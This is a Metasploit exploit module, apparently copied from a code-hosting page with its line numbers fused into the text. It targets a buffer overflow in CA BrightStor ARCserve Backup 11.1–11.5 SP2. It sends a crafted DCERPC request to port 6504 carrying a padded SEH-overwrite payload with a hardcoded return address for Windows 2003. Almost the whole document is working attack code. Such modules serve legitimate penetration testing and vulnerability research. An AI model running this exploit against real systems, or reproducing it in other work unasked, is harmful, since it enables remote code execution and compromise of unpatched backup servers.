Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/message_engine_72.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup1611.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow17the buffer and execute arbitrary code.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '68329'],24[ 'URL', 'http://www.metasploit.com/users/mc' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 600,34'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x2380ceb5 } ],41],42'DisclosureDate' => '2010-10-04',43'DefaultTarget' => 0))4445register_options([Opt::RPORT(6504)])46end4748def exploit4950connect5152handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])53print_status("Binding to #{handle} ...")5455dcerpc_bind(handle)56print_status("Bound to #{handle} ...")5758sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)5960print_status("Trying target #{target.name}...")6162begin63dcerpc_call(0x72, sploit)64rescue Rex::Proto::DCERPC::Exceptions::NoResponse65end6667handler68disconnect6970end7172end73=begin74/* opcode: 0x72, address: 0x28E893D0 */7576short sub_28E893D0 (77[in] handle_t arg_1,78[in][ref][string] char * arg_2,79[in, out][ref] long * arg_380);81=end828384